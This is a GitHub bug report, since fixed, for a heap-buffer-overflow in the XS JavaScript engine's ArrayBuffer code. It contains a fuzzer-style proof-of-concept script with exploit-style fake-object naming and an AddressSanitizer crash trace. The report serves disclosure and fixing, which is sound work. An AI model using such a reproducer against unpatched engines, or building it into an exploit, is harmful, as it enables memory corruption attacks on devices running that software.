

New issue

Jump to bottom

heap-buffer-overflow(fx_ArrayBuffer) #580



rain6851 opened this issue on Feb 26, 2021 · 0 comments

Labels

fixed - please verify

rain6851 commented on Feb 26, 2021

Enviroment

operating system: ubuntu18.04
compile command: cd /pathto/moddable/xs/makefiles/lin
make
test command: ./xst poc

poc:

```
function gc() {  
  for (let i = 0; i < 500; i++) {  
    let ab = new ArrayBuffer(1518500249 | 1073741823);  
  }  
}  
function opt(obj) {  
  for (let i = 0; yjwa; i++) {  
  }  
  let tmp = { a: 1 };  
  gc();  
  tmp.__proto__ = {};  
  var hed0 = escape(null);  
  for (let k in tmp) {  
    tmp.__proto__ = {};  
    gc();  
    obj.__proto__ = {};  
    var yjwa = i < 500;  
    return obj[k];  
  }  
}  
opt({});  
var CPz5 = fake_object_memory[0];  
let fake_object_memory = new Uint32Array(100);  
fake_object_memory[0] = 4660;  
let fake_object = opt(fake_object_memory);  
opt(9007199254748990);  
print(fake_object);
```

description

=====

==5914==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f603a9fe820 at pc 0x7f603de4ebec bp 0x7ffc75e18740 sp 0x7ffc75e17ee8

WRITE of size 2147483647 at 0x7f603a9fe820 thread T0

```
#0 0x7f603de4ebec in __asan_memset (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8cbeb)  
#1 0x49c99e in fx_ArrayBuffer /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsDataView.c:431  
#2 0x5bc2b2b in fxRunID /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:824  
#3 0x604ee7 in fxRunScript /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:4708  
#4 0x6fa9f9 in fxRunProgramFile /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:1369  
#5 0x6ed74c in main /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:270  
#6 0x7f603d4f282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)  
#7 0x4146a8 in _start (/root/AFL/targets/moddable/xst+0x4146a8)
```

0x7f603a9fe820 is located 0 bytes to the right of 16777248-byte region [0x7f60399fe800,0x7f603a9fe820)
allocated by thread T0 here:

```
#0 0x7f603de5a602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)  
#1 0x579189 in fxAllocateChunks /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsPlatforms.c:122  
#2 0x53cd2b in fxGrowChunks /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsMemory.c:377  
#3 0x53b7fe in fxAllocate /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsMemory.c:159  
#4 0x42095a in fxCreateMachine /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsAPI.c:1305  
#5 0x6ec9a0 in main /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:249  
#6 0x7f603d4f282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
```

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 __asan_memset



Shadow bytes around the buggy address:

```
0x0fec87537cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0fec87537cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0fec87537cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0fec87537ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0fec87537cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
=>0x0fec87537d00: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa  
0x0fec87537d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0fec87537d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0fec87537d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0fec87537d40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0fec87537d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
```

Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb


```
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==5914==ABORTING
```

  **dckc** mentioned this issue on Mar 2, 2021

arguing the security properties of xsnap (XS, SES, JS) Agoric/agoric-sdk#2224


 Open

 17 tasks

 **mkellner** pushed a commit that referenced this issue on Mar 15, 2021



XS: [#582](#) [#581](#) [#580](#) [#567](#)


3edc913

 **mkellner** pushed a commit that referenced this issue on Mar 15, 2021

XS: [#582](#) [#581](#) [#580](#) [#567](#)

ee959cb

  **phoddie** added the `fixed - please verify` label on Mar 15, 2021

 **phoddie** closed this as completed on Mar 23, 2021

Assignees

No one assigned

Labels

`fixed - please verify`

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

